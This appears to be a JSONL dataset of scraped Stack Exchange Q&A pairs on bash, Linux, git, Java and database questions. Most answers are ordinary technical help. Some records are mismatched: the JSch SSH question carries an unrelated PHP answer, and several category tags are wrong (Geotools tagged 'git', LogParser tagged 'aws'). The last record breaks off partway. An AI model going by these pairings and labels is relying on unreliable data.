{"id": "hf_4652a01a2942", "question": "<p>Is it possible to check a bash script syntax without executing it?</p>\n\n<p>Using Perl, I can run <code>perl -c 'script name'</code>. Is there any equivalent command for bash scripts?</p>\n", "question_body": "", "answer": "```\n```\nbash -n scriptname\n```\n```\nPerhaps an obvious caveat: this validates syntax but won't check if your bash script tries to execute a command that isn't in your path, like\n```\nech hello\n```\ninstead of\n```\necho hello\n```\n.", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:16.662235"}
{"id": "hf_269e5b5d5ac2", "question": "<p>How can I extract the whole line in a row, for example, row 3.\nThese data are saved in my text editor in linux.\nHere's my data:</p>\n\n<pre><code>1,julz,kath,shiela,angel\n2,may,ann,janice,aika\n3,christal,justine,kim\n4,kris,allan,jc,mine\n</code></pre>\n\n<p>I want output like:</p>\n\n<pre><code>3,christal,justine,kim\n</code></pre>\n", "question_body": "", "answer": "You can assign the diamond operator on your filehandle to a list, each element will be a line or row.\n```\n```\nopen $fh, \"myfile.txt\";\nmy @lines = <$fh>;\n```\n```\nEDIT:\nThis solution grabs all the lines so that you can access any one you want, e.g. row 3 would be\n```\n$lines[2]\n```\n... If you really only want one specific line, that'd be a different solution, like the other answerers'.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:16.760743"}
{"id": "hf_712d9c212795", "question": "<p>I've been using <a href=\"http://www.jcraft.com/jsch/\" rel=\"nofollow noreferrer\">JSch</a> for a couple of weeks now.  It seems to <em>work</em> okay, but its API is a little bit cumbersome.  I'm also a little off put by its total lack of documentation (not even javadoc style comments).  Has anyone used a good Java SSH2 library that they'd recommend.  I'm particularly interested in SCP file transfer and issuing commands to a remote Linux box programmatically via the SSH protocol.</p>\n", "question_body": "", "answer": "This will work if there is only one member in the array:\n```\n```\n<?php\n echo current(returnsAnArray());\n ?>\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:16.981611"}
{"id": "hf_0289840b5b01", "question": "<p>What is the best way to keep your configuration files (e.g httpd.conf, my.cnf, .bashrc ...) under version control?\nIn adition to the versioning benefit, I want the solution to work as backup as well, so that I can bring a brand new server and checkout (or export) the config files out of SVN directly</p>\n\n<p>A good touch will be to store the config file`s original path as well.</p>\n", "question_body": "", "answer": "I do this for several machines, ranging from old Solaris 8 boxes to Mac OS X, and I have a really simple layout:\nIn my repository I have the following:\n```\n```\n<root>/common\n  /.emacs.d\n  /.bash_common\n  /scripts # platform-independent binary tools\n\n<root>/linux\n  .bashrc\n  .emacs\n  ...\n\n<root>/solaris\n  .bashrc\n  .emacs\n  ...\n\n<root>/osx\n  .bashrc\n  .emacs\n  ...\n```\n```\nEach of the OS homedirs has an svn:externals reference to .emacs.d, .bash_common, and scripts, so those are not duplicated.\nIn addition, I have a .bash_hostconfig in the linux and solaris directories with host-specific path configuration and such, because I have a very different setup at work than I do at home (FC5-8 and RHEL3-5, depending on where I am).\nSo, between these things, I have a pretty simple process for getting up and running on a new machine:  I simply check out the /$platform into a temporary directory, and then overwrite everything in $HOME with those files.  I don't need to store the original path, because it's always relative to $HOME this way.", "tags": ["linux", "bash"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:17.421233"}
{"id": "hf_44d9adda0863", "question": "<p>I just started using <a href=\"http://www.lizardl.com/PageHtml.aspx?lng=2&amp;PageId=18\" rel=\"nofollow noreferrer\">Log Parser Lizard</a> to examine my IIS and Event logs. </p>\n\n<p>What UI tool do you use on top of LogParser 2.2 to view your log files on production?</p>\n", "question_body": "", "answer": "Sadly when it comes to Log Parser, I do it CLI, not GUI.  I have not had great need to do lots of parsing (though I probably should since resource utilization is occasionally a problem) so I've always used the SQL-like syntax of LogParser straight up.\nOther app teams at my work use\nLog4Net Dashboard\n, which apparently parses log4net logs, event viewer, and other stuff in one web based interface.  I've not gotten around to checking it out, but other people seem to like it.\nFor web logs I'm actually starting to look at\nawstats\nfor my parsing needs so I can see my data in a more visual format.", "tags": ["aws"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:17.567117"}
{"id": "hf_8be61cd3c442", "question": "<p>Does anyone know of a way, in Java, to convert an earth surface position from lat, lon to UTM (say in WGS84)? I'm currently looking at Geotools but unfortunately the solution is not obvious.</p>\n", "question_body": "", "answer": "I was able to use Geotools 2.4 to get something that works, based on some\nexample code\n.\n```\n```\ndouble utmZoneCenterLongitude = ...  // Center lon of zone, example: zone 10 = -123\nint zoneNumber = ...                 // zone number, example: 10\ndouble latitude, longitude = ...     // lat, lon in degrees\n\nMathTransformFactory mtFactory = ReferencingFactoryFinder.getMathTransformFactory(null);\nReferencingFactoryContainer factories = new ReferencingFactoryContainer(null);\n\nGeographicCRS geoCRS = org.geotools.referencing.crs.DefaultGeographicCRS.WGS84;\nCartesianCS cartCS = org.geotools.referencing.cs.DefaultCartesianCS.GENERIC_2D;\n\nParameterValueGroup parameters = mtFactory.getDefaultParameters(\"Transverse_Mercator\");\nparameters.parameter(\"central_meridian\").setValue(utmZoneCenterLongitude);\nparameters.parameter(\"latitude_of_origin\").setValue(0.0);\nparameters.parameter(\"scale_factor\").setValue(0.9996);\nparameters.parameter(\"false_easting\").setValue(500000.0);\nparameters.parameter(\"false_northing\").setValue(0.0);\n\nMap properties = Collections.singletonMap(\"name\", \"WGS 84 / UTM Zone \" + zoneNumber);\nProjectedCRS projCRS = factories.createProjectedCRS(properties, geoCRS, null, parameters, cartCS);\n\nMathTransform transform = CRS.findMathTransform(geoCRS, projCRS);\n\ndouble[] dest = new double[2];\ntransform.transform(new double[] {longitude, latitude}, 0, dest, 0, 1);\n\nint easting = (int)Math.round(dest[0]);\nint northing = (int)Math.round(dest[1]);\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:17.843427"}
{"id": "hf_ccd032f2e4a5", "question": "<p>I've been using htmldoc for a while, but I've run into some fairly serious limitations. I need the end solution to work on a Linux box. I'll be calling this library/utility/application from a Perl app, so any Perl interfaces would be a bonus.</p>\n", "question_body": "", "answer": "I wont claim this is the \"best\" solution but it is \"a\" solution i have used.\nHTML Input -->\nHTML 2 PS\n-->\nPS 2 PDF\n--> PDF Output", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:17.976693"}
{"id": "hf_e5dcb9d64066", "question": "<p>Sometime I see many application such as msn, windows media player etc that are single instance applications (when user executes while application is running a new application instance will not created).</p>\n\n<p>In C#, I use <code>Mutex</code> class for this but I don't know how to do this in Java.</p>\n", "question_body": "", "answer": "If I believe this\narticle\n, by :\nhaving the first instance attempt to open a listening socket on the localhost interface.  If it's able to open the socket, it is assumed that this is the first instance of the application to be launched.  If not, the assumption is that an instance of this application is already running.  The new instance must notify the existing instance that a launch was attempted, then exit.  The existing instance takes over after receiving the notification and fires an event to the listener that handles the action.\nNote:\nAhe\nmentions in the comment that using\n```\nInetAddress.getLocalHost()\n```\ncan be tricky:\nit does not work as expected in DHCP-environment because address returned depends on whether the computer has network access.\nSolution was to open connection with\n```\nInetAddress.getByAddress(new byte[] {127, 0, 0, 1})\n```\n;\nProbably related to\nbug 4435662\n.\nI also found\nbug 4665037\nwhich reports than Expected results of\n```\ngetLocalHost\n```\n: return IP address of machine, vs. Actual results : return\n```\n127.0.0.1\n```\n.\nit is surprising to have\n```\ngetLocalHost\n```\nreturn\n```\n127.0.0.1\n```\non Linux but not on windows.\nOr you may use\n```\nManagementFactory\n```\nobject. As explained\nhere\n:\nThe\n```\ngetMonitoredVMs(int processPid)\n```\nmethod receives as parameter the current application PID, and catch the application name that is called from command line, for example, the application was started from\n```\nc:\\java\\app\\test.jar\n```\npath, then the value variable is \"\n```\nc:\\\\java\\\\app\\\\test.jar\n```\n\". This way, we will catch just application name on the line 17 of the code below.\nAfter that, we search JVM for another process with the same name, if we found it and the application PID is different, it means that is the second application instance.\nJNLP offers also a\n```\nSingleInstanceListener\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:18.158596"}
{"id": "hf_79d5a810cd26", "question": "<p>Im trying to squeeze some extra performance from searching through a table with many rows.\nMy current reasoning is that if I can throw away some of the seldom used member from the searched table thereby reducing rowsize the amount of pagesplits and hence IO should drop giving a benefit when data start to spill from memory. </p>\n\n<p>Any good resource detailing such effects?\nAny experiences?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "I don't now what else you tried to increase performance, this seems like grasping at straws to me. That doesn't mean that it isn't a valid approach. From my experience the benefit can be significant. It's just that it's usually dwarfed by other kinds of optimization.\nHowever, what you are looking for are iostatistics. There are several methods to gather them. A quite good introduction can be found\n->here\n.", "tags": ["aws"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:18.344005"}
{"id": "hf_c75aac93039d", "question": "<p>I am a self-taught embedded developer. I mostly use AVRs programmed in C and ASM, but I have dabbled with other systems. I am looking to move onto more complex devices like CPLDs and FPGAs, but I have no idea where to start. So my one and a half questions are:</p>\n\n<ol>\n<li>Do you prefer VHDL or Verilog and why?</li>\n<li>What is a good way for one with no prior experience in HDLs get started in learning such a beast?</li>\n</ol>\n", "question_body": "", "answer": "Buy a cheap starter kit from Xilinx or Altera (the two big FPGA players). A Xilinx Spartan3 starter kit is $200.\nI personally prefer VHDL. It is strongly typed and has more advanced features than Verilog. VHDL is more popular in Europe and Verilog is dominating in the US.\nBuy a book (e.g. Peter Ashendens The Designers Guide to VHDL) and start simulating your designs in a free simulator. ModelSim from Mentor Graphis is a good one and there are free versions available (with crippled simulation speed).\nMake up some interesting project (mini cpu, vga graphics, synthesizer) and start designing. Always simulate and make sure your design works before putting your design into the hardware ...\nIf you have no background in digital electronics buy a book in that subject as well.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:18.461180"}
{"id": "hf_01eee75ce93a", "question": "<p>How can I programmatically lock/unlock, or otherwise prevent/enable editing, a source file on Linux using C++.</p>\n\n<p>I want to be able to lock source file so that if I open it in an editor it will not allow me to save back to the same source file.</p>\n\n<p>I am thinking of maybe changing the permissions to read-only (and change it back to read-write later): how do I do that from C++?</p>\n", "question_body": "", "answer": "Try man fchmod:\n```\nNAME\n       chmod, fchmod - change permissions of a file\n\nSYNOPSIS\n       #include <sys/types.h>\n       #include <sys/stat.h>\n\n       int chmod(const char *path, mode_t mode);\n       int fchmod(int fildes, mode_t mode);\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:18.585193"}
{"id": "hf_c13189a10d54", "question": "<p>I wrote the wrong thing in a commit message.</p>\n\n<p>How can I change the message? The commit has not been pushed yet.</p>\n", "question_body": "", "answer": "Amending the most recent commit message\n```\n```\ngit commit --amend\n```\n```\nwill open your editor, allowing you to change the commit message of the most recent commit. Additionally, you can set the commit message directly in the command line with:\n```\n```\ngit commit --amend -m \"New commit message\"\n```\n```\n…however, this can make multi-line commit messages or small corrections more cumbersome to enter.\nMake sure you don't have any working copy changes\nstaged\nbefore doing this or they will get committed too. (\nUnstaged\nchanges will not get committed.)\nChanging the message of a commit that you've already pushed to your remote branch\nIf you've already pushed your commit up to your remote branch, then - after amending your commit locally (as described above) - you'll also\nneed to force push the commit\nwith:\n```\n```\ngit push <remote> <branch> --force\n# Or\ngit push <remote> <branch> -f\n```\n```\nWarning: force-pushing will overwrite the remote branch with the state of your local one\n. If there are commits on the remote branch that you don't have in your local branch, you\nwill\nlose those commits.\nWarning: be cautious about amending commits that you have already shared with other people.\nAmending commits essentially\nrewrites\nthem to have different\nSHA\nIDs, which poses a problem if other people have copies of the old commit that you've rewritten. Anyone who has a copy of the old commit will need to synchronize their work with your newly re-written commit, which can sometimes be difficult, so make sure you coordinate with others when attempting to rewrite shared commit history, or just avoid rewriting shared commits altogether.\nPerform an interactive rebase\nAnother option is to use interactive rebase.\nThis allows you to edit any message you want to update even if it's not the latest message.\nIn order to do a Git squash, follow these steps:\n```\n```\n// n is the number of commits up to the last commit you want to be able to edit\ngit rebase -i HEAD~n\n```\n```\nOnce you squash your commits - choose the\n```\ne/r\n```\nfor editing the message:\nImportant note about interactive rebase\nWhen you use\n```\ngit rebase -i HEAD~n\n```\nthere can be\nmore\nthan n commits. Git will \"collect\" all the commits in the last n commits, and if there was a merge somewhere in between that range you will see all the commits as well, so the outcome will be n + .\nGood tip:\nIf you have to do it for more than a single branch and you might face conflicts when amending the content, set up\n```\ngit rerere\n```\nand let Git resolve those conflicts automatically for you.\nDocumentation\ngit-commit(1) Manual Page\ngit-rebase(1) Manual Page\ngit-push(1) Manual Page", "tags": ["bash", "git"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:18.865768"}
{"id": "hf_5ed232648891", "question": "<p>I have a poorly designed database. One of the most important tables has 11,000+ entries. We would like to expand our system, and I am wondering if this table grew to 5x its size, would this be a problem? It's 15360 kB in size... if that matters.</p>\n\n<hr>\n\n<p>I'm using phpMyAdmin, the server is a Fedora Linux box (nothing fancy), The load is light. It stores just about everything our system uses.</p>\n", "question_body": "", "answer": "What DBMS? What server? What load? What application?\nBesides: 11.000 records are nothing, really. Even in MS Access. :-)\nEDIT: \nSo I assume you use a fairly recent MySQL with MyISAM tables. In theory, you can go ahead and fill the table into the millions of records. Depending on how you work with them (lots of joins / or not, lots of queries/updates/deletes / or not), you don't need to do anything special. Put a proper index on the table and you should be fine.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:19.012785"}
{"id": "hf_2ab661ba77d8", "question": "<p>On Windows NTFS there is a nice but mostly unused feature called \n\"Alternate Data Streams\" (ADS) which I recently used in a hobby-dev project.</p>\n\n<p>On Mac HFS+ there is also a similarly nice but mostly unused feature called \"named forks\".</p>\n\n<p>I am thinking of porting this project to Linux, but I do not know if any Filesystem on linux has such a feature?</p>\n", "question_body": "", "answer": "Most Linux file systems have\n```\nextended attributes\n```\n. I'm not familiar with NTFS streams, so I can't compare the two. Most file systems need to be mounted with flags to enable the extended attributes, so this may not work generically for anyone's system. They are usually abbreviated as\n```\nxattr\n```\nor\n```\nxattrs\n```\n.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:19.180148"}
{"id": "hf_db6598f6b665", "question": "<p>I need to write a digital oscilloscope type application.  There are many great static graphing controls out there, but I need something that can graph 16 traces processing 4000 samples per second.</p>\n\n<p>Is anyone aware of a high speed graphing control for .NET?  I'll even take MFC since that can be wrapped into a .NET control.</p>\n\n<p>Thanks for the help!</p>\n", "question_body": "", "answer": "Have you looked at\nGraphViz\n? I've seen it used in oscilloscope applications, but I'm not positive it will handle the speed you're looking for. GraphViz doesn't take a 'live feed' of instructions like some of the GDI+ controls I've seen.\nThere are some\n.NET wrappers\nfor it\n.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:19.300275"}
{"id": "hf_14eb02544063", "question": "<p>Error message:</p>\n\n<blockquote>\n  <p>fatal: git checkout: updating paths is incompatible with switching branches/forcing</p>\n</blockquote>\n\n<p>How to get past this Git checkout error?</p>\n", "question_body": "", "answer": "By explicitly specifying “\n```\ngit checkout HEAD $blah\n```\n” instead of just saying “\n```\ngit checkout $blah\n```\n”, assuming you did want to check out a file.\nYou don’t say what you were trying nor what you typed, however, so no one can give you anything but a blind guess.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:19.471838"}
{"id": "hf_839ec2f8135d", "question": "<p>Is it even possible?</p>\n\n<p>Basically, there's a remote repository from which I pull using just:</p>\n\n<pre><code>git pull\n</code></pre>\n\n<p>Now, I'd like to preview what this pull would change (a diff) without touching anything on my side. The reason is that thing I'm pulling might not be \"good\" and I want someone else to fix it before making my repository \"dirty\".</p>\n", "question_body": "", "answer": "I think\ngit fetch\nis what your looking for.\nIt will pull the changes and objects without committing them to your local repo's index.\nThey can be merged later with\ngit merge\n.\nMan Page\nEdit: Further Explination\nStraight from the\nGit- SVN Crash Course\nlink\nNow, how do you get any new changes from a remote repository? You fetch them:\n```\n```\ngit fetch http://host.xz/path/to/repo.git/\n```\n```\nAt this point they are in your repository and you can examine them using:\n```\n```\ngit log origin\n```\n```\nYou can also diff the changes. You can also use\ngit log HEAD..origin\nto see just the changes you don't have in your branch.  Then if would like to merge them - just do:\n```\n```\ngit merge origin\n```\n```\nNote that if you don't specify a branch to fetch, it will conveniently default to the tracking remote.\nReading the man page is honestly going to give you the best understanding of options and how to use it.\nI'm just trying to do this by examples and memory, I don't currently have a box to test out on. You should look at:\n```\n```\ngit log -p //log with diff\n```\n```\nA fetch can be undone with\ngit reset --hard\n(\nlink\n) , however all uncommitted changes in your tree will be lost as well as the changes you've fetched.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:19.593833"}
{"id": "hf_fae0e216ca13", "question": "<p>I'm trying to get this simple PowerShell script working, but I think something is fundamentally wrong. ;-)</p>\n<pre><code>ls | ForEach { &quot;C:\\Working\\tools\\custom-tool.exe&quot; $_ }\n</code></pre>\n<p>I basically want to get files in a directory, and pass them one by one as arguments to the custom tool.</p>\n", "question_body": "", "answer": "```\n```\nls | %{C:\\Working\\tools\\custom-tool.exe $_}\n```\n```\nAs each object comes down the pipeline the tool will be run against it.  Putting quotes around the command string causes it to be... a string!  The local variable \"$_\" it then likely doesn't know what to do with so pukes with an error.", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:19.765157"}
{"id": "hf_b3e439f91e20", "question": "<p>Every time I use the \"at\" command, I get this message:</p>\n\n<pre><code>warning: commands will be executed using /bin/sh\n</code></pre>\n\n<p>What is it trying to warn me about? More importantly, how do I turn the warning off?</p>\n", "question_body": "", "answer": "It serves as a good warning to those of us that don't use bash as our shell, because we we'll forget that a feature that's in our day-to-day shell isn't going to be available when this code is run at the appointed time.\ni.e.\n```\n```\nusername@hostname$ at 23:00     \nwarning: commands will be executed using /bin/sh\nat> rm **/*.pyc\nat> <EOT>\njob 1 at 2008-10-08 23:00\n```\n```\nThe use of '**' there is perfectly valid zsh, but not /sbin/sh! It's easy to make these mistakes if you're used to using a different shell, and it's your responsibility to remember to do the right thing.", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:19.930708"}
{"id": "hf_d8f0a9bc1516", "question": "<p>I'm testing the speed of some queries in MySQL. The database is caching these queries making it difficult for me to get reliable results when testing how fast these queries are.</p>\n\n<p>Is there a way to disable caching for a query?</p>\n\n<p>System: MySQL 4 on Linux webhosting, I have access to PHPMyAdmin.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "Try using the\nSQL_NO_CACHE\n(MySQL 5.7) option in your query.\n(MySQL 5.6 users click\nHERE\n)\neg.\n```\n```\nSELECT SQL_NO_CACHE * FROM TABLE\n```\n```\nThis will stop MySQL caching the results, however be aware that other OS and disk caches may also impact performance. These are harder to get around.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:20.164280"}
{"id": "hf_abdf20410ff8", "question": "<p>Is there a manual for cross-compiling a C++ application from Linux to Windows?</p>\n\n<p>Just that. I would like some information (links, reference, examples...) to guide me to do that.</p>\n\n<p>I don't even know if it's possible. </p>\n\n<p>My objective is to compile a program in Linux and get a .exe file that I can run under Windows.</p>\n", "question_body": "", "answer": "The basics are not too difficult:\n```\n```\nsudo apt-get install mingw32    \ncat > main.c <<EOF\nint main()\n{\n  printf(\"Hello, World!\");\n}\nEOF\ni586-mingw32msvc-cc main.c -o hello.exe\n```\n```\nReplace\n```\napt-get\n```\nwith\n```\nyum\n```\n, or whatever your Linux distro uses. That will generate a\n```\nhello.exe\n```\nfor Windows.\nOnce you get your head around that, you could use\nautotools\n, and set\n```\nCC=i586-mingw32msvc-cc\n```\n```\n```\nCC=i586-mingw32msvc-cc ./configure && make\n```\n```\nOr use\nCMake and a toolchain file\nto manage the build. More difficult still is adding native cross libraries. Usually they are stored in\n```\n/usr/cross/i586-mingw32msvc/{include,lib}\n```\nand you would need to add those paths in separately in the configure step of the build process.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:20.395998"}
{"id": "hf_5ec706fda068", "question": "<p>AFAIK, Currency type in Delphi Win32 depends on the processor floating point precision. Because of this I'm having rounding problems when comparing two Currency values, returning different results depending on the machine.</p>\n\n<p>For now I'm using the SameValue function passing a Epsilon parameter = 0.009, because I only need 2 decimal digits precision.</p>\n\n<p>Is there any better way to avoid this problem?</p>\n", "question_body": "", "answer": "To avoid possible issues with currency rounding in Delphi use 4 decimal places.\nThis will ensure that you never having rounding issues when doing calcualtions with very small amounts.\n```\n\"Been there. Done That. Written the unit tests.\"\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:20.542425"}
{"id": "hf_9238322ec25e", "question": "<p>Is there any free tool available for creating and editing PNG Images?</p>\n", "question_body": "", "answer": "The GIMP\n(GNU Image Manipulation Program).\nIt's free, open source and runs on Windows and Linux (and maybe Mac?).", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:20.725635"}
{"id": "hf_1add73677573", "question": "<p>A friend of mine has embedded a google earth plugin into a C# user control. All works fine but when you close the window we recieve and \"Unspecified Error\" with the option to continue running the scripts or not. From our tracking it down it appears this is being cause by a script that google is dropping onto the page. Any ideas?</p>\n", "question_body": "", "answer": "We have now tried this in both IE and FF. Works fine. Any ideas why the error only comes up on close? can we somehow disable it? here is our code.\n```\n```\n<meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\" />\n<html>\n<head>\n    <script src=\"http://www.google.com/jsapi?key=ABQIAAAAzghEPRV_D0MDzTELJ4nkXBT2AlVLQD8Rz4_aVbiXesLoyhRIMBRo399nnxv9aY-fqnkVGgTgR-pTsg\">\n    </script>\n    <script>\n        google.load(\"earth\", \"1\");\n        var ge = null;\n        var placemark;\n        function init(){\n            google.earth.createInstance(\"map3d\", initCallback, failureCallback);\n        }\n\n        function initCallback(object){\n            ge = object;\n            ge.getWindow().setVisibility(true);\n            ge.getNavigationControl().setVisibility(ge.VISIBILITY_SHOW);\n            ge.getLayerRoot().enableLayerById(ge.LAYER_TERRAIN, false);\n\n            placemark = ge.createPlacemark('');\n            placemark.setName(\"Current Position\");\n            // Create style map for placemark\n            var normal = ge.createIcon('');\n            normal.setHref('http://maps.google.com/mapfiles/kml/paddle/red-circle.png');\n            var iconNormal = ge.createStyle('');\n            iconNormal.getIconStyle().setIcon(normal);\n            var highlight = ge.createIcon('');\n            highlight.setHref('http://maps.google.com/mapfiles/kml/paddle/red-circle.png');\n            var iconHighlight = ge.createStyle('');\n            iconHighlight.getIconStyle().setIcon(highlight);\n            var styleMap = ge.createStyleMap('');\n            styleMap.setNormalStyle(iconNormal);\n            styleMap.setHighlightStyle(iconHighlight);\n            placemark.setStyleSelector(styleMap);\n\n            var options = ge.getOptions();\n\n            options.setStatusBarVisibility(true);\n            options.setScaleLegendVisibility(true);\n        }\n\n        function failureCallback(object){\n            // Gracefully handle failure.\n            alert(\"Error\");\n        }\n\n        function changeViewAngle(angle){\n            var lookAt = ge.getView().copyAsLookAt(ge.ALTITUDE_ABSOLUTE);\n            lookAt.setTilt(angle);\n            ge.getView().setAbstractView(lookAt);\n        }\n\n        function ShowMarker(){\n            ge.getFeatures().appendChild(placemark);\n        }\n\n        function MoveMarker(lon, lat){\n            // Create point\n            var la = ge.getView().copyAsLookAt(ge.ALTITUDE_RELATIVE_TO_GROUND);\n            var point = ge.createPoint('');\n            point.setLatitude(lat);\n            point.setLongitude(lon);\n            placemark.setGeometry(point);\n        }\n\n        function HideMarker(){\n            ge.getFeatures().removeChild(placemark);\n        }\n\n        function SetPosition(lon, lat, heading){\n            var lookAt = ge.getView().copyAsLookAt(ge.ALTITUDE_RELATIVE_TO_GROUND);\n            lookAt.setLatitude(lat);\n            lookAt.setLongitude(lon);\n            lookAt.setHeading(heading);\n            ge.getView().setAbstractView(lookAt);\n        }\n\n        function SetAltitude(alt){\n            var lookAt = ge.getView().copyAsLookAt(ge.ALTITUDE_RELATIVE_TO_GROUND);\n            lookAt.set(lookAt.getLatitude(), lookAt.getLongitude(), 0, ge.ALTITUDE_RELATIVE_TO_GROUND, 0, lookAt.getTilt(), alt);\n            ge.getView().setAbstractView(lookAt);\n        }\n\n        function ResizeMap(w, h){\n            var map = document.getElementById('map3d_container');\n            map.style.height = h;\n            map.style.width = w;\n        }\n\n        function AddKML(kml){\n            var parseKML = ge.parseKml(kml);\n            ge.getFeatures().appendChild(parseKML);\n            return ge.getFeatures().getLastChild().getName();\n        }\n\n        function RemoveKML(kmlName){\n            if (ge.getFeatures().hasChildNodes()) {\n                var nodes = ge.getFeatures().getChildNodes();\n                for (var i = 0; i < nodes.getLength(); i++) {\n                    var child = nodes.item(i);\n                    if (child.getName() == kmlName) {\n                        ge.getFeatures().removeChild(child);\n                    }\n                }\n            }\n        }\n\n        function OptionsChanged(nav, status, scale, grid, map, terrain, road, border, building){\n            var options = ge.getOptions();\n            var form = document.options;\n\n            if (nav) {\n                ge.getNavigationControl().setVisibility(ge.VISIBILITY_SHOW);\n            }\n            else {\n                ge.getNavigationControl().setVisibility(ge.VISIBILITY_HIDE);\n            }\n\n            options.setStatusBarVisibility(status);\n            options.setScaleLegendVisibility(scale);\n            options.setGridVisibility(grid);\n            options.setOverviewMapVisibility(map);\n            ge.getLayerRoot().enableLayerById(ge.LAYER_TERRAIN, terrain);\n            ge.getLayerRoot().enableLayerById(ge.LAYER_ROADS, road);\n            ge.getLayerRoot().enableLayerById(ge.LAYER_BORDERS, border);\n            ge.getLayerRoot().enableLayerById(ge.LAYER_BUILDINGS, building);\n        }\n\n    </script>\n</head>\n<body onload='init()'>\n    <center>\n        <div id='map3d_container' style='border: 1px solid silver; height: 